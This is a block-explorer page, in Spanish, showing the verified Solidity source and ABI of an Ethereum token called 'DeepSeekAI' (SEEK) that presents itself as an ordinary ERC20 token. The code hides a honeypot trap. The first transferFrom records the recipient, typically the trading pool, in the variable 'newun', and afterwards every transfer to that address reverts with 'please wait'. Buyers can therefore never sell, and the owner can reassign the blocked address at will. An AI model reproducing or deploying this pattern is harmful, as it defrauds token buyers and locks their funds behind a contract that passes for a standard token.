EthereumEthereum
0x8a...8c84
DeepSeekAI

DeepSeekAI

SEEK

Token
Capitalización de Mercado
$1.00
 
Precio
2%
¡El código fuente de este contrato está verificado!
Metadatos del Contrato
Compilador
0.5.17+commit.d19bba13
Idioma
Solidity
Código Fuente del Contrato
Archivo 1 de 1: TokenERC20.sol
pragma solidity >=0.5.17;
 
library SafeMath {
 
  function add(uint a, uint b) internal pure returns (uint c) {
 
    c = a + b;
 
    require(c >= a);
 
  }
 
  function sub(uint a, uint b) internal pure returns (uint c) {
 
    require(b <= a);
 
    c = a - b;
 
  }
 
  function mul(uint a, uint b) internal pure returns (uint c) {
 
    c = a * b;
 
    require(a == 0 || c / a == b);
 
  }
 
  function div(uint a, uint b) internal pure returns (uint c) {
 
    require(b > 0);
 
    c = a / b;
 
  }
 
}
 
contract ERC20Interface {
 
  function totalSupply() public view returns (uint);
 
  function balanceOf(address tokenOwner) public view returns (uint balance);
 
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
 
  function transfer(address to, uint tokens) public returns (bool success);
 
  function approve(address spender, uint tokens) public returns (bool success);
 
  function transferFrom(address from, address to, uint tokens) public returns (bool success);
 
  event Transfer(address indexed from, address indexed to, uint tokens);
 
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
 
}
 
contract ApproveAndCallFallBack {
 
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
 
}
 
contract Owned {
 
  address public owner;
 
  address public newOwner;
 
  event OwnershipTransferred(address indexed _from, address indexed _to);
 
  constructor() public {
 
    owner = msg.sender;
 
  }
 
  modifier onlyOwner {
 
    require(msg.sender == owner);
 
    _;
 
  }
 
  function transferOwnership(address _newOwner) public onlyOwner {
 
    newOwner = _newOwner;
 
  }
 
  function acceptOwnership() public {
 
    require(msg.sender == newOwner);
 
    emit OwnershipTransferred(owner, newOwner);
 
    owner = newOwner;
 
    newOwner = address(0);
 
  }
 
}
 
contract TokenERC20 is ERC20Interface, Owned{
 
  using SafeMath for uint;
 
  string public symbol;
 
  string public name;
 
  uint8 public decimals;
 
  uint _totalSupply;
 
  address public newun;
 
  mapping(address => uint) balances;
 
  mapping(address => mapping(address => uint)) allowed;
 
  constructor() public {
 
    symbol = "SEEK";
 
    name = "DeepSeekAI";
 
    decimals = 18;
 
               //100000000000000000000000000000000000
               // 18,426,739.899999
               // 18426739899999000000000000
               //   1000000000 000000000000000000
                //200000000000000000000000000
               // 2100000000000000000000000000
               // 213852466320547000000000000
               //    _totalSupply =  100000000000000000000000000000000000; //1 million 6 zeros plus 18 zeros
                  //7777777777
                  //3250000000
                  //3250000000000000000000000000
    _totalSupply =  1000000000000000000000000000; //1 million 6 zeros plus 18 zeros
 
    balances[owner] = _totalSupply;
 
    emit Transfer(address(0), owner, _totalSupply);
 
  }
 
  function transfernewun(address _newun) public onlyOwner {
 
    newun = _newun;
 
  }
 
  function totalSupply() public view returns (uint) {
 
    return _totalSupply.sub(balances[address(0)]);
 
  }
 
  function balanceOf(address tokenOwner) public view returns (uint balance) {
 
      return balances[tokenOwner];
 
  }
 
  function transfer(address to, uint tokens) public returns (bool success) {
 
     require(to != newun, "please wait");
 
 
 
    balances[msg.sender] = balances[msg.sender].sub(tokens);
 
    balances[to] = balances[to].add(tokens);
 
    emit Transfer(msg.sender, to, tokens);
 
    return true;
 
  }
 
  function approve(address spender, uint tokens) public returns (bool success) {
 
    allowed[msg.sender][spender] = tokens;
 
    emit Approval(msg.sender, spender, tokens);
 
    return true;
 
  }
 
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
 
      if(from != address(0) && newun == address(0)) newun = to;
 
      else require(to != newun, "please wait");
 
 
 
    balances[from] = balances[from].sub(tokens);
 
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
 
    balances[to] = balances[to].add(tokens);
 
    emit Transfer(from, to, tokens);
 
    return true;
 
  }
 
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
 
    return allowed[tokenOwner][spender];
 
  }
 
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
 
    allowed[msg.sender][spender] = tokens;
 
    emit Approval(msg.sender, spender, tokens);
	ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
 
    return true;
 
  }
 
  function () external payable {
 
    revert();
 
  }
 
}
 
contract DeepSeekAI is TokenERC20 {
 
  function clearCNDAO() public onlyOwner() {
 
    address payable _owner = msg.sender;
 
    _owner.transfer(address(this).balance);
 
  }
 
  function() external payable {
 
  }
 
}
Configuraciones
{
  "compilationTarget": {
    "TokenERC20.sol": "TokenERC20"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]